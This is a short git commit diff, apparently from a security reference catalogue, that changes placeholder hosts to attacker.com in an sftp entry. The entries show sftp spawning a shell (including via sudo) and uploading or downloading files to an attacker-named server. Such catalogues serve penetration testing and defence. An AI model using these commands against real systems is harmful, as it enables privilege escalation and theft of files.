Use target.com and attacker.com

This commit is contained in:
Emilio Pinna
2018-05-24 20:59:21 +01:00
parent 4bea8d51cc
commit b857c98f92
19 changed files with 58 additions and 58 deletions

View File

@@ -2,24 +2,24 @@
functions:
exec-interactive:
- code: |
HOST=user@10.0.0.1
HOST=user@attacker.com
sftp $HOST
!/bin/sh
sudo-enabled:
- code: |
HOST=user@10.0.0.1
HOST=user@attacker.com
sudo sftp $HOST
!/bin/sh
upload:
- description: Send local file to a SSH server.
code: |
RHOST=user@10.0.0.1
RHOST=user@attacker.com
sftp $RHOST
put file_to_send where_to_save
download:
- description: Fetch a remote file from a SSH server.
code: |
RHOST=user@10.0.0.1
RHOST=user@attacker.com
sftp $RHOST
get file_to_get where_to_save
---